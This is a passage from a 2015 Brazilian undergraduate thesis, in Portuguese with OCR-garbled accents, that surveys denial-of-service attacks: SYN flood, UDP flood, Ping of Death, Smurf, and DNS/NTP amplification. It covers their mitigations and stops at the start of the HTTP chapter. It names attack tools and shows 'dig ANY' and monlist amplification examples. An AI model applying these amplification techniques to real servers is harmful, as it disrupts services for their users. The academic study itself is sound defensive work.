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RESUMO

ATAQUES DE NEGACAO DE SERVICO NA CAMADA DE APLICACAO: ESTUDO
DE ATAQUES LENTOS AO PROTOCOLO HTTP

Autores: ALEJANDRO BARRIOS QUINTANILLA
DEIJAVAL PEREIRA DA SILVA FILHO

Orientador: Professora Doutora Edna Dias Canedo, FGA/UnB
Projeto Final de Graduacao

Brasilia, 19 de maio de 2015

O assombroso desenvolvimento das redes de comunica¢do desencadeou um crescimento
alarmante de diferentes tipos de investidas com pretensdes maliciosas vinculadas a Inter-
net. Entre elas, encaixam-se os ataques de negacdo de servigo, os quais, distinguindo-se de
técnicas de invasdo, tem como meta a interrupcao de servigos. Os gigantescos prejuizos de
ordem comercial e financeira resultantes desse modelo de ataque geram uma motivacao de
busca por conhecer suas caracteristicas, levantar as formas de acometimento e diagnosticar
os danos. Para tal, realizou-se um estudo voltado a descricao das praticas ofensivas, vulnera-
bilidades dos sistemas, métodos de mitigagdo e ferramentas de contencdo. Foram praticadas
simulagdes de ataques DDoS com foco em Slow DoS, apresentados os resultados advindos

dos experimentos em questdo e analisados os dados coletados no decorrer das experiéncias.

Palavras-chave: Slow DoS; seguranca; camada de aplicacdo; negacao de servigo.






ABSTRACT

DENIAL OF SERVICE ATTACKS ON APPLICATION LAYER: A ESTUDY ABOUT
SLOW ATTACKS AIMING HTTP PROTOCOL

Authors: ALEJANDRO BARRIOS QUINTANILLA
DEIJAVAL PEREIRA DA SILVA FILHO

Supervisor: Professora Doutora Edna Dias Canedo, FGA/UnB

Final Graduation Project

The amazing development of communication networks has unleashed a alarming growth of
different types of assaults with malicious intents related to Internet. Among them, denial
of service attacks, different than invasion techniques, it has the intention of interrupting ser-
vices. The huge comercial and financial damage of this model motivates many others to
know the features, understand how these attacks affect the systems and how to diagnose the
damages. This study is a research of offensive uses, vulnerabilities, mitigation methods e
contention tools. Many simulations were perfomed in a DDoS scenario including mainly

Slow DDoS, then presented the results of the experiments and their analysis.

Keywords: Slow DoS; security; application layer; denial of service.
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1 INTRODUCAO

1.1 CONTEXTUALIZACAO

Sem duvida, a Internet se tornou o ambiente mais utilizado para interacado humana, que
vem tendo crescimento fenomenal. No inicio da década de 60, ainda chamada de ARPA-
NET, ja se constatava um aumento considerdvel de usuarios. Pouco menos de 30 anos atrés,
em 1985, contabilizavam-se dois mil computadores conectados e dezenas de milhares de
usudrios. No entanto, em 2001, o cendrio ja estava bastante modificado, com estimados 109
milhdes de hosts na rede (KIZZA, 2005). Agora, a Internet consiste em uma enorme rede
que conecta milhdes de mdquinas e usudrios, trazendo comodidade para o homem atual e se
tornando essencial para a vida moderna. Além de comunicacdes, também se usa essa ferra-
menta para operacOes financeiras, e nisso se incluem trocas de dados sigilosos de clientes,
como senhas de contas bancarias, dados de cartdes de crédito etc. Diante disso, a Internet
vem se tornando alvo de ataques que visam comprometer os servicos de rede e obter e/ou
danificar informagdes dos usudrios. Um tipo de a¢do muito conhecida € o ataque de nega-
cdo de servigo (ou DoS - Denial of Service), que tem por objetivo provocar a inoperancia
tempordria ou indefinida de um servigo provido por um recurso computacional ou por um
elemento da estrutura de comunicacio de rede. Os principais alvos sdo: sistemas Web de

bancos, operadoras de cartdes de crédito e, até mesmo, servidores raiz de DNS.

Portanto, além de implantar, planejar, manter e gerir, € necessdrio ainda prover seguranca
a essas redes. As empresas de hoje dependem fortemente dos sistemas de informacao, e es-
tes se conectam a Internet. Por isso, ndo podem ter seus servigcos e operacdes interrompidos.
Um incidente de seguranga afeta seu proprio sistema, gerando insatisfacao e desconfiancga de
seus clientes e parceiros. Uma vez atacada, uma empresa pode virar refém de ameacas dos
atacantes, ou seja, sofrer chantagem para que novos ataques nao ocorram. Impressionante-
mente, ataques podem ser ainda planejados ou encomendados por concorrentes a fim de que
sejam obtidas vantagens comerciais e, assim, comprometer a reputacdo da empresa vitima
(Cert.br).

Um ataque de negacdo de servico - DoS (Denial of Service) normalmente envolve satu-
rar uma mdquina-alvo com comunicacdes externas ao ponto de o servigo ndo ter condi¢des
de tratar as requisi¢des legitimas, ou responder tdo lentamente que ndo serd suficiente para
atender aos acessos. O ataque pode ser realizado de forma distribuida, ou seja, a partir de
diferentes origens, aumentando consideravelmente o trafego malicioso e causando a inutili-
zacdo dos servigos do alvo. No entanto, esse tipo de ataque ndo visa invadir ou roubar dados.
O real objetivo € tornar o servico indisponivel por um certo periodo de tempo. Um modelo
de ataque de negacao de servico pode ser visto na Figura 1.1.
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Figura 1.1: Ilustracdo de um ataque DDoS (PENTAGO, 2013) e (KUROSE; ROSS, 2010)
(adaptado).

Sistemas bem planejados, mais robustos e bem dimensionados, usualmente estdo mais
imunes a ataques DoS. Porém, um dos agravantes é o fato de que maquinas infectadas podem
participar de um ataque sem que ao menos saibam disso. Neste caso, participam computa-
dores infectados por bots, programas que podem executar tarefas a favor do atacante. Com
o ajuntamento desses colaboradores, que podem ser dezenas, centenas ou até milhares de
madquinas, forma-se uma botnet, tornando o ataque mais efetivo pelo fato de as requisi¢des
estarem distribuidas geograficamente. Isso dificulta o trabalho dos profissionais responsaveis
por dirimir a situagdo, pois terdo que identificar requisi¢des ilegitimas dentro de um grande
intervalo de IP’s.

Assim como os sistemas de segurancga vao se aprimorando, os ataques tém crescido em
ndmero, sofisticacdo e custo. Quando os ataques usuais nao surtem o efeito desejado, a
estratégia tem sido atacar a sétima camada do modelo OSI, chamada de camada de aplica-
cdo. Variagdes do tipo Low e Slow DoS estdo se tornando um sério problema por causa da

dificuldade de serem detectados, j4 que consomem pouco recurso de rede.

Segundo relatério de seguranca realizado pela provedora Akamai no terceiro trimestre
de 2014, houve um aumento no nimero de ataques a camada de aplicagdo em relagdo ao
segundo trimestre do mesmo ano. Também, nesse mesmo intervalo, observou-se um au-
mento de 80% de ataque de banda. O espectro de ameacas DDoS se expande a cada dia,
com a possibilidade de os reponsdveis pelos ataques terem a sua disposi¢do dispositivos usa-
dos cotidianamente, como smartphones, tablets, entre outros aparelhos vestiveis. Como se
vive na era da Internet das coisas (Internet of Things), o quadro caracteristico de uma botnet

tende a ser bem diferente do que se v€ na atualidade, com aumento de tamanho, atuantes em



multiplas camadas, podendo gerar muita banda e taxas de conexdes (AKAMALI, 2014).

1.2 DEFINICAO DO PROBLEMA

Ataques de negacgdo de servico ainda representam uma ameaca virtual. Ao longo do
tempo, as técnicas para se interromper servi¢os na Internet foram sendo aprimoradas, assim
como as formas de deteccio e mitigacdo. E possivel enumerar varias motivagdes para os
atacantes, dentre elas: hacktivismo (ativismo usando-se a Internet), concorréncia empresa-
rial, extorsdo virtual e até servir como pano de fundo para ataques de invasao. Atualmente,
observa-se um aumento de técnicas que visam atingir a camada de aplicacdo. Um exemplo
dessa nova modalidade de ataque € o Slow DoS, que consome pouca banda na rede e, por
isso, ha mais dificuldade para ser detectado (SHTERN et al., 2014). Ataques mais antigos
de forca bruta ainda s@o percebidos. Dois tipos de ataques que exploram vulnerabilidades da
camada de rede prevalecem em quantidade: SYN flood e UDP flood. Ambos caracterizam-se
por consumir muita banda e gerar altas taxas de pacotes por segundo, podendo, em alguns
casos, ultrapassar taxas de centenas de gigabits em uma s6 investida (AKAMALI, 2014).

1.3 OBJETIVOS DO PROJETO

O presente trabalho propde-se a mostrar modelos de ataques de negagdo de servigo e seus
impactos com foco em ataques lentos a camada de aplicag¢do. Dentre os objetivos especificos
ha o intuito de apresentar um laboratdrio de testes, analisar ferramentas de ataque e, por
conseguinte, realizar as simulagdes, tendo como alvo um servidor Web. Com os resultados
obtidos, uma anélise da efici€ncia dos ataques serd realizada, comparando-se situagcdes com

uso e sem uso de recursos de prevengdo e mitigacao.

1.4 APRESENTACAO DO MANUSCRITO

No capitulo 2 € feita uma revisio bibliografica sobre conceito de seguranga e ameacas
que afetam a Internet. Em seguida, o capitulo 3 descreve o protocolo HTTP da camada de
aplicacdo e suas caracteristicas. Os experimentos e decorrentes resultados sdo discutidos no
capitulo 4, seguidos das conclusdes no capitulo 5.



2 SEGURANCA DE REDES

2.1 INTRODUCAO

Seguranca pode ser definida como um continuo processo de se proteger um objeto de um
ataque. O tal objeto pode ser uma pessoa, uma organizacao, propriedade ou dados. Quando
se considera um sistema computacional, sua seguranca envolve a prote¢do de todos os seus
recursos (KIZZA, 2005). No inicio da Internet as operacdes eram bem limitadas, como
enviar simples e-mails, portanto, nao se destinava muita aten¢do a seguranca da rede. O
fato € que, hoje, a populacdo em geral executa diversas a¢des usando a Internet, tais como:
executar operagOes bancérias, comprar e vender produtos, guardar arquivos de cunho pessoal
ou até arquivar documentos sigilosos de uma empresa. Sendo assim, o campo da seguranca

tem se tornado primordial para proteger pessoas, empresas e seus respectivos dados.

Tornar um sistema seguro envolve lidar com agentes maliciosos que, intencionalmente,
procuram obter algum tipo de beneficio, chamar atenc¢do ou prejudicar alguém. Assim sendo,
os responsaveis pela seguranca t€ém que estar preparados para combater adversarios inteli-
gentes, dedicados e, muitas vezes, patrocinados por uma outra parte (TANENBAUM, 2003).

Segundo (COMER, 2008), ha quatro aspectos essenciais, que devem estar interligados,
para prover segurancga, procurando sempre combind-la a facilidade de uso:

Integridade: Refere-se a protecdo a mudanca. Os dados que chegam a um receptor ne-
cessitam ser idénticos aos dados enviados pelo transmissor. Ou seja, o conteudo da
informacao ndo pode ser alterado durante a transmissao, quer seja por acidente, quer

seja intencionalmente.

Disponibilidade: Refere-se a protecdo a interrupg¢do de servigo. Os dados devem perma-
necer acessiveis a usudrios legitimos. Esse é o aspecto comprometido por ataques de

natureza de negacdo de servigo.

Confidencialidade: Refere-se a prote¢do ao acesso sem autoriza¢do dos dados, como € o
caso de grampos telefonicos. Os dados necessitam trafegar com algum tipo de cifra-

gem para que eventuais interceptores nao tenham acesso as informacoes.

Privacidade: Refere-se a habilidade de o remetente permanecer andnimo, ou seja, a identi-

dade de quem envia uma mensagem nao deve ser revelada.



2.2 ATAQUES A SEGURANCA

Embora na literatura em geral as defini¢es de ataque e ameaca sejam comumente usadas
para se referir a mesma coisa, a RFC 2828 define o que é ameaca e ataque. Ameaca € uma
potencial violagdo de seguranca que vem a existir quando ha circunstancias, capacidade, acao
ou evento que possa causar uma brecha na seguranga e provocar dano. Ou seja, uma ameaca
pode ser definida como um perigo que € capaz de explorar uma vulnerabilidade. Ataque, por
conseguinte, ¢ uma investida a um sistema de seguranca advinda de uma ameagca inteligente,
ou seja, um ato inteligente que tem como propdsito passar por servicos de seguranca e violar

suas politicas.

2.2.1 Ataques passivos

Em esséncia, um ataque passivo tem a intencao de aprender ou usar informagao do sis-
tema, mas sem afetar recursos do mesmo. O objetivo do oponente € conseguir informacdes
que sdo transmitidas. Uma das possibilidades € o adversario conseguir interceptar mensagens
em claro, aquelas sem nenhum tipo de cifragem. Caso a mensagem use encriptacdo, ainda
que nao se possa ver o conteido em si, o oponente pode verificar padroes das mensagens que
trafegam. A partir dessas observacdes € possivel supor a natureza da comunicagdo. Esse tipo
de ataque torna-se dificil de detectar porque nio envolve alteragdao de dados. Normalmente,
as mensagens sdo trocadas entre emissor e receptor sem que os mesmos percebam que ha
algum intermedidrio as lendo ou analisando padrdes de trafego. Sendo assim, € preferivel
investir em métodos de encriptacdo, ou seja, mais facil prevenir do que detectar esse tipo de

ataque.

2.2.2 Ataques ativos

Ataques ativos, em suma, buscam alterar os recursos de um sistema ou afetar seu funci-
onamento. Este tipo de ataque modifica os dados ou os falsifica. Podem ser divididos em

quatro categorias: mascaramento, replay, modificacdo de mensagens e negacdo de servico.

Mascaramento: Também conhecido como personificacdo. E a acdo em que um individuo
tenta se passar por um usudrio legitimo. Ele consegue se autenticar como outra pessoa

e passa a enviar mensagens enganando o destinatario.

Replay: Caso em que o oponente intercepta mensagem entre dois comunicantes e, em

sequéncia, retransmite buscando produzir um efeito sem autorizagao.

Modificacao de mensagem: Atacante captura mensagens e faz alteragdes ou reordena pa-

lavras, retransmitindo, em seguida, ao outro participante.

Negacao de servico: O objetivo € interromper os servicos para requisicdes legitimas através
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de inundagdes de trafego ou exaustdo de recursos, ocasionando baixa de desempenho
ou até total desabilitacdo do servigo.

Vé-se que ataques ativos apresentam caracteristicas opostas em relacdo aos ataques pas-
sivos. Enquanto € mais prudente investir em prevencao para ataques passivos, para os ata-
ques ativos isso se torna mais complexo, j4 que hd uma variedade enorme de potencial para
explorar vulnerabilidades. Portanto, para ataques ativos, o objetivo € detectar os ataques e
recuperar os danos (STALLINGS, 2011).

O presente trabalho ird focar no ataque ativo de negacao de servi¢o (DoS), abrangendo

seus tipos.

2.3 NEGACAO DE SERVICO

Um ataque de negacgdo de servigo pode ser executado por uma tinica maquina ou por um
grupo delas, com a pretensao de causar a vitima (website, servidor, etc) a interrupg¢ao de seus
servicos a seus clientes. Quando o ataque se faz a partir de um tnico host, € chamado apenas
Ataque de Negacgdo de Servico (em inglés, Denial of Service abreviado como DoS). Por outro
lado, quando muitos hosts coordenam uma investida a vitima, chama-se Ataque Distribuido
de Negacdo de Servico (em inglés, Distributed Denial of Service, abreviado como DDoS).
Esses ataques distribuidos geralmente sdo compostos por maquinas infectadas por algum tipo
de cdédigo malicioso (malware), e podem encontrar-se espalhadas geograficamente (botnet).
Como exemplo, pode-se ver um ataque ocorrido em 12 de janeiro de 2015 mostrado na
Figura 2.1.
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Figura 2.1: Ataque distribuido ocorrido em janeiro de 2015 (NORSE, 2015).



Segundo (PATRIKAKIS; MASIKOS; ZOURARAKI, 2004), o primeiro ataque DoS acon-
teceu contra um ISP, empresa provedora de acesso a Internet, chamada Panix, em 6 de se-
tembro de 1996, por volta de 17h30min (hora local). Tal ataque, do tipo SYN flood, atingiu
diferentes computadores na empresa, incluindo correio, noticias e servidores Web.

2.3.1 SYN Flood

Para compreender melhor o ataque SYN flood € necessério analisar o funcionamento dos
protocolos de comunicacio da camada de transporte: TCP e UDP. Sabe-se que a Internet é
uma rede que, a todo tempo, transporta dados fragmentados em pacotes. Cada pacote trafega
sem rota predeterminada até o destino e 14 é reconstruido para formar a mensagem original.
Para que tudo funcione de forma apropriada, as redes necessitam estabelecer relacdes de
confianga entre os elementos transmitidos. Tanto TCP como UDP usam portas numeradas
para identificar mdquinas de origem e o destino do pacote, como pode ser visto na Figura
2.2, mostrando um cabegalho TCP. Uma regra bésica de seguranga é nunca deixar uma porta

aberta enquanto um determinado servico ndo esteja sendo executado.

Bit 0 Bit 15 Bit 16 Bit 31

Source Port (16) Destination Port (16)

Sequence Number (32)

20

Acknowledgment Number (32) Bytes

Header . .
Length (4) Reserved (6)| Code Bits(6) Window (16)

Checksum (16) Urgent (16)

Options (0 or 32 If Any)

Data (Varies)

Figura 2.2: Cabecalho TCP (LEWIS, 2011).

O protocolo TCP propicia comunicacio confidvel entre servidor e cliente, estabelecendo
uma conexao virtual através de um método chamado three-way handshake (aperto de mao
em trés fases). Essa conexdo virtual € requerida antes de qualquer comunicagdo entre 0s
dois. Inicialmente, o cliente envia um flag SYN ao servidor, e este, por sua vez, responde
enviando um segmento de reconhecimento (ACK) e também um SYN. Finalmente, o cliente
enviard um ACK para indicar que sabe que a conexao foi aceita. A troca de segmentos nesse

processo pode ser vista na Figura 2.3.

O ataque SYN Flood tira vantagem desse mecanismo de conexdo do TCP. O atacante
envia pacotes de forma massiva para o servidor da vitima forjando o endereco de origem. O

servidor, ao receber os pacotes, enfileira as requisicdes, envia um pacote de resposta e per-



—

SYN/ACK

L S

Figura 2.3: Representacdo do three-way handshake (BEARDSLEY, 2009) (adaptado).

manece aguardando a confirmag¢do da maquina cliente. Ja que o endereco dos pacotes € falso,
a confirmagao esperada jamais € recebida. Como consequéncia, o servidor da vitima perde
tempo e recursos que poderiam estar sendo usados para outros processos. Quando o limite do
buffer' é atingido, hd descarte dos pacotes de abertura e o servigo fica inutilizado. A duracdo
da indisponibilidade depende da persisténcia do atacante em mandar pacotes seguidamente.
A esquematizacdo do SYN Flood € mostrada na Figura 2.4.

8

/

SYNIRCK

\

Figura 2.4: Ataque SYN flood (WAGNON, 2013) (adaptado).

2.3.2 UDP Flood

Trata-se de um ataque de negacdo de servigo baseado em esgotamento de largura de
banda. Tem como foco a negacao de aplicacOes legitimas que atuam em um host especifico,

explorando, para tal, vulnerabilidades em protocolos e servicos do mesmo.

Esse ataque € caracterizado pela inundag¢do de uma méquina remota com pacotes UDP
em quantidade superior aquela com a qual se consegue lidar. Como a garantia de que esse
tipo de pacote foi entregue inexiste, o atacante, de forma aleatdria, os envia a todas as portas
do host atacado, acarretando o flooding do mesmo.

Ao receber os pacotes, a maquina atingida procura definir qual aplicacdo estd a espera
de cada datagrama durante a chegada. Por se tratar de uma conexdo UDP, ao detectar que

'Regido de armazenamento de memdria fisica utilizada para armazenar temporariamente os dados.
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ndo existe aplicacdo nenhuma aguardando pelo pacote em questdo, ndo sdo enviadas mensa-
gens ICMP de resposta. A chegada em massa de pacotes UDP ao sistema resultard em sua

inatividade, podendo leva-lo a reinicializagao.

Softwares como Low Orbit Ion Cannon (LOIC) e Unicorn UDP podem ser usados para
executar esses ataques. Ambos sdo capazes de realizar tanto um DoS Attack, quanto um
DDoS Attack, caso esse em que computadores zumbis trabalham em conjunto no ataque a

determinado alvo, a partir do momento em que sdo infectados.

Como medida de seguranga contra esse tipo de ataque, deve-se realizar a implantacdo de
firewalls em pontos-chave da rede a fim de filtrar o trafego indesejado. Feito isso, a vitima
pontencial ndo chega a receber, muito menos responder a esses envios mal-intencionados,

visto que os mesmos sdo barrados antes de atingirem seu alvo.

2.3.3 Ping of Death

O Ping of Death é uma forma de ataque de negacdo com a qual o atacante procura deses-
tabilizar e derrubar o servidor alvo utilizando-se de um comando ping com ma formagao dos
pacotes a partir do aumento dréstico de suas dimensdes. Além disso, a frequéncia de soli-
citagdes pode ser muito elevada, o que provoca sobrecarga da miquina de destino, podendo
chegar a travé-la, ao exigir uma velocidade de processamento acima daquela que pode ser
alcancada.

O tamanho méximo de um pacote IPv4, incluindo o cabecgalho IP, € 65535 bytes. Alguns
sistemas computacionais simplesmente ndo conseguem lidar com pacotes maiores, deixando
de funcionar quando recebem algum. Este erro foi facilmente explorado em implementagdes
de TCP / IP no inicio de uma ampla gama de sistemas operacionais, incluindo Windows,
Mac, Unix, Linux e dispositivos de rede, como impressoras e roteadores.

Desde que o envio de um pacote de ping maior do que 65535 bytes viola o protocolo
IP, os atacantes, em geral, enviam pacotes mal formados em fragmentos. Quando o sistema
de destino tenta remontar os fragmentos, finaliza com um pacote de grandes dimensdes,

ocorrendo extrapolacdo de memoria e levando a vérios problemas no sistema.

A eficicia do Ping of Death se da em fun¢do de a identidade do invasor poder ser fa-
cilmente falsificada. Um dos agravantes desse tipo de ataque € a facilidade com que ele
pode ser executado, sem que seja necessdria a instalagdo de programas adicionais. Mesmo
desconhecendo informacdes a respeito da mdquina da vitima, apenas com o endereco IP da
mesma em maos, um simples ping pode ser capaz de inutilizar o servigo. H4 de se ressaltar
que essa vulnerabilidade pode realmente ser explorada por qualquer protocolo que envia um
datagrama IP - ICMP echo, TCP, UDP e IPX.

Em sistemas desatualizados, o ataque € ainda mais relevante e perigoso. Recentemente,

um novo tipo de ataque Ping of Death tornou-se popular. Este ataque € conhecido como Ping



Flood. Nele, o sistema-alvo € atingido com pacotes ICMP enviados rapidamente através de
ping sem esperar por respostas.

Cabecalho |Cabecalho R
P ICMP Dados ICMP >
20 bytes 8 bytes > 65,507 bytes

Pacote original antes da fragmentacéo

Figura 2.5: Ataque Ping of Death (WHITAKER; NEWMAN, 2005) (adaptado).

2.3.4 Smurf Attack

A técnica IP spoofing, indispensdvel na realizacdo do chamado Smurf Attack, consiste
na falsificagdo de enderecos IP. Devido a problemas no estabelecimento de uma conexao
TCP, a porta é deixada aberta quando o servidor confia no cliente que requisitou conexao.
Enquanto a porta se encontrar aberta, um intruso pode entrar no sistema. Ao ter acesso,
o intruso consegue alterar e substituir o endereco por IP’s fraudulentos (KIZZA, 2005). O
ataque em si induz a emissao de pacotes de resposta a outra maquina que ndo aquela de onde
parte a requisi¢ao. Por se tratar de uma investida cega, 0 mesmo representa menor risco para
0 atacante, ja que varios ataques ndo precisam da resposta do host atacado. Tendo isso em
vista, a técnica de IP spoofing apresenta eficiéncia suficiente a ponto de associar-se a outras
com o intuito de reproduzir novas formas de ataque (BERTOL, 2000).

A pratica de Smurf Attack utiliza enderecos de broadcast para efetuar um ataque direci-
onado dentro de uma rede de computadores. Nesse caso, € enviado um pacote ICMP Echo
Request (ping) para um servidor que o redireciona ao endereco de broadcast da rede. O
endereco IP de retorno do pacote do ping €, entdo, substituido (técnica IP spoofing) pelo
endereco que se deseja atacar.

A maioria dos dispositivos em uma rede, por padrdo, respondem a esse ping enviando
um pacote ICMP Echo Request para o endereco IP de origem. Se o nimero de méquinas
na rede que recebem e respondem a esses pacotes for muito grande, o computador vitima
serd inundado com o trdfego. Isto pode abrandar a conexao, tornando-a lenta demais, ou até
mesmo chegar a bloqued-la. Como toda a rede fica congestionada, as maquinas intermedia-

rias também sofrem as consequéncias do ataque.

2.3.5 HTTP e Slow DoS

Slow DoS é um ataque a camada de aplica¢do que nao usa pacotes deformados e ndo se

baseia em técnicas de spoofing. E dito um ataque mais elaborado porque é necessario que
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Figura 2.6: Representacdo de um Smurf Attack (LONG, 2011).

o atacante crie uma técnica mais inteligente para alcancar seu objetivo. Este ataque requer
menos banda para derrubar uma pégina ou servidor e, como consequéncia, torna-se mais
dificil de detectar e bloquear.

Para compreender melhor o ataque € preciso entender o mecanismo de comunicagao.
Quando um cliente HTTP (navegador como Firefox, Internet Explorer) se comunica com
um servidor HTTP, aquele manda requisi¢des de diferentes tipos, sendo os dois principais
GET e POST. Uma requisi¢do GET € usada para links normais, que t€m como resposta
imagens, informacdes, etc. Ja as requisi¢des POST sdo usadas para acessar recursos gerados

dinamicamente, como formuldrios (inser¢ao de parametros).

Quando ocorre, 0 ataque tem a intencdo de ocupar todos os slots do servidor-alvo com
muitas requisicdes para saturar os recursos computacionais. O ataque se torna mais efetivo

quando o servidor aloca vdrios recursos em resposta a uma unica requisi¢ao.

2.4 ATAQUES DE AMPLIFICACAO

Como o préprio nome diz, esses sdo ataques que buscam interromper o servigo através
de inundagdo de dados usando alguma técnica de amplificacdo. Os tipos de ataques mais
comuns sa0 os que visam os protocolos DNS e NTP. O principal modo de realizar a investida
¢ enviar alguma requisicao pequena que ird retornar uma resposta com tamanho muito maior.
Isso, agregado a técnica de IP spoofing, faz com que o atacante se camufle e destine a resposta
ao servidor alvo.

Este € um ataque que busca interromper resolucdes de DNS, fazendo com que o servidor
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deixe de responder suas informacdes em zonas e subzonas, mesmo em cache?. Como o
DNS possui uma estrutura hierdrquica, os servidores que tém como responsavel pelas suas
zonas o servidor atacado nao fornecerao resposta apropriada, gerando um efeito cascata para
resolucdes de IP. Nesses casos, o fato de o servidor possuir cache pode ndo ser suficiente

para evitar o ataque, por conta da expira¢io de TTL? dos registros.

Antes de investir contra o servigco de DNS, o atacante amplifica o ataque usando servido-
res DNS abertos. Esses servidores (mal configurados), respondem a requisicdes de qualquer
fonte. O ataque se assemelha muito ao Smurf Attack porque o exército de computadores
controlado pelo atacante falsifica o IP de origem em todos eles, inserindo o IP da vitima
(PRINCE, 2012). Outro fator agravante € o fato de o tamanho da resposta da requisi¢ao
ser muito maior que o tamanho da prépria requisicio. Um exemplo disso pode ser visto ao
digitar no Terminal o comando dig ANY unb.br. O comando dig retorna informagdes
sobre 0 DNS para um determinado servidor. No dado exemplo, a entrada tem 14 bytes e
a saida, como pode ser vista na Figura 2.7, possui 2141 bytes. Ou seja, um atacante pode
aumentar o potencial de seu ataque em mais de 150 vezes, neste caso. Ironicamente, o que
contribui para o aumento da mensagem ¢ a inclusdo das enormes chaves de DNSSEC, que

tem por objetivo tornar o sistema de DNS mais seguro.

untud.1-Ubuntu <<»> ANY unb.br

;; ANSWER SECTION:

J9BS.

PV HQ
r. a:mailhub.alun

Fxa. unb,
rixb.unb.br
RBTBBrIKpBRRZfacawdub 6XL

2BxKyP+rizB1tQ/1

Figura 2.7: Saida de um comando dig ANY.

O atacante, j4 com possibilidade de amplificar o ataque, faz o procedimento de listar

Memdria de acesso rdpido, interno a um sistema.
3Do inglés Time to Live, tempo de vida ttil do registro de recurso, ou seja, quando um recurso deve ser
removido de um cache.
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servidores DNS abertos para que sua botnet possa enviar as requisicdes com endereco de
origem forjado (técnica de IP spoofing), ou seja, todos esses terdo como endereco de origem
o IP do host a ser atingido. Como existem muitas redes que nao empregam métodos apro-
priados para validar enderecos IP, as requisi¢Oes serdo enviadas ao servidores DNS abertos e
estes prosseguirdo com o redirecionamento das repostas das requisi¢des. Finalmente, todas
as respostas nao serdo encaminhadas ao atacante mas sim ao servidor alvo (porta 53 UDP),
exaurindo-o até que fique indisponivel. A mensagem pode ser tao longa que necessite ser
quebrada em quadros de 1500 bytes, consumindo ainda mais recursos do servidor atacado
(AINA et al., 2006). O cendrio do ataque € mostrado na Figura 2.8.

Atacante Botnet
— g gy

a & A

— & B B

Servidor alvo Servidores DNS abertos

Figura 2.8: Ataque amplificado a um servidor DNS (AINA et al., 2006) (adaptado).

De forma muito semelhante, um atacante pode tirar proveito de caracteristicas de servi-
dores NTP para amplificar o volume de trafego de um ataque. O NTP € o protocolo padrao
para sincronizagdo de tempo, sendo usado por servidores, aparelhos méveis, e demais dispo-

sitivos de rede.

A fim de aumentar o volume de dados, usa-se o comando monlist. A cada requisi¢dao
recebida, o servidor NTP retorna, pelo menos, informagdes das dltimas 600 maquinas que
interagiram com o servidor em questdo. Um exemplo do comando e sua resposta encontra-se

na Figura 2.9.

Assim como na amplificacdo de DNS, o atacante aumenta o potencial do ataque usando

a técnica de reflexdo em uma botnet.

2.4.1 Mitigacao

Alguns métodos para se evitar ou reduzir ataques DDoS que explorem o servico de DNS
serdo listados a seguir. E importante frisar que essas medidas ndo sdo aplicavéis somente as

vitimas dos ataques, mas sim a todos os servidores de nomes e provedores de Internet.
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Figura 2.9: Resposta de uma requisicdo monlist a um servidor NTP aberto (HARPP,
2015).

2.4.1.1 Validacao de endereco IP de origem

Para que se possa mitigar eficientemente os efeitos desse tipo de ataque, ou, de forma
geral, ataques que utilizem falsificacdo de IP, é necessario implantar a verificacdo de IP em

todos os servigos da rede.

2.4.1.2 Configuracdo adequada de servidores DNS

Um servidor bem configurado pode reduzir bastante a eficicia de um ataque. Uma me-
dida essencial € desabilitar o servigo de consulta recursiva para solicitantes externos e so-

mente aceitar de fontes confiaveis.

2.4.1.3 Bloquear e filtrar o trafego

Operadores de servidores TLD e de provedores de Internet devem considerar bloquear
mensagens DNS suspeitas, assim como barrar pacotes IP que excedam 512 bytes direciona-
dos a porta 53 UDP (DNS).

2.4.1.4 Fazer uso de Unicast Reverse Path Fowarding

Alguns roteadores possuem essa caracteristica incorporada. Habilitar o Unicast Reverse
Path Fowarding ajuda a limitar tradfego malicioso em uma rede empresarial, fazendo anéalise
dos pacotes que trafegam na mesma. Se o endereco IP de origem néo for vélido, o pacote é
descartado (CISCO, 2007).
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2.4.1.5 Atualizar infraestrutura de servidores NTP

Servidores em Unix/Linux estdo mais propensos a apresentar vulnerabilidades. Portanto,
€ recomenddvel atualiza-los, realizando upgrade de daemon.
2.4.1.6 Limitar ou desabilitar o comando monlist

Assim como em servidores de nomes, deve-se limitar o comando para requisi¢des a par-
tir de enderecos IP vélidos e verificados. Caso ndo seja possivel, recomenda-se desativar
totalmente o comando monlist (ACUNETIX, 2014).
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3 HYPERTEXT TRANSFER PROTOCOL - HTTP

O protocolo HTTP € usado, principalmente, para acessar dados na Internet, permitindo a
transferéncia de arquivos entre clientes e servidores. Ele se encontra na camada de aplicacao
do modelo TCP/IP, definindo uma linguagem de comunicagdo do tipo requisi¢do-resposta,
em que o cliente realiza uma solicitacdo ao servidor, que fica encarregado de retornar uma
resposta. O HTTP funciona como uma combinagdo de outros dois protocolos: FTP e SMTP
(FOROUZAN, 2008). E semelhante ao FTP porque é capaz de fazer transferéncia de arqui-
vos usando somente uma conexdao TCP. Nao had conexdo de controle separada, pois, entre
cliente e servidor, apenas dados sdo transferidos. A semelhanca entre SMTP e HTTP se da
pelo fato de os dados transferidos entre cliente e servidor parecerem mensagens SMTP. Estas
sdo controladas por cabecalhos como o MIME, porém as mensagens HTTP ndo sdo lidas e

interpretadas por humanos, somente por maquinas.

Esse protocolo tem fun¢do de identificagdo, transferéncia e troca de arquivos no formato
HTML (Hypertext Markup Language) e seus recursos, e € utilizado para realizar busca de
informacdes e paginas na Internet. Tem as caracteristicas de ndo ser orientado a conexdes e
de ser sem-estado (stateless), ja que interpreta como nova cada conexao que € feita com o
servidor, o qual ndo armazena nenhuma informacao persistente sobre o cliente apds o término
de cada requisi¢do. Assim, os pacotes sdo retornados com base na URL, independendo
de qualquer operacdo prévia que o cliente possa ter realizado. Dessa forma, fica a cargo
da aplicacdo Web a implementacdo de mecanismos préoprios a fim de restaurar o estado da

computagao a cada interagao.

As paginas Web sdo visualizadas através de um programa denominado browser. Exem-
plos desses programas sdo: Firefox, Chrome, Internet Explorer, Opera, entre outros. Os
browsers tém a tarefa de buscar a pagina requisitada, interpretar o conteddo e, enfim, mos-
trar a pagina para o usudrio. O contetido com o qual o usudrio vai interagir pode ser variado:

imagem, texto, video, formularios e etc.

A interagdo de requisicdo-resposta definida pelo HTTP d4-se o nome de transacio Web,
podendo os dados desta serem transferidos nos mais diversos formatos, como texto, imagem,
audio, entre outros. A resposta, além do conteddo a ser entregue, compde-se, também, de
uma mensagem de estado do servidor. Quando um usudrio clica em um hyperlink, seu brow-
ser envia mensagens de requisicdo HTTP ao servidor a procura de objetos na pigina. Em

seguida, o servidor recebe o pedido e envia uma resposta HTTP que contenham os objetos.

A comunicacdo via HTTP, por usualmente ocorrer sobre uma conexdo TCP, utiliza-se da
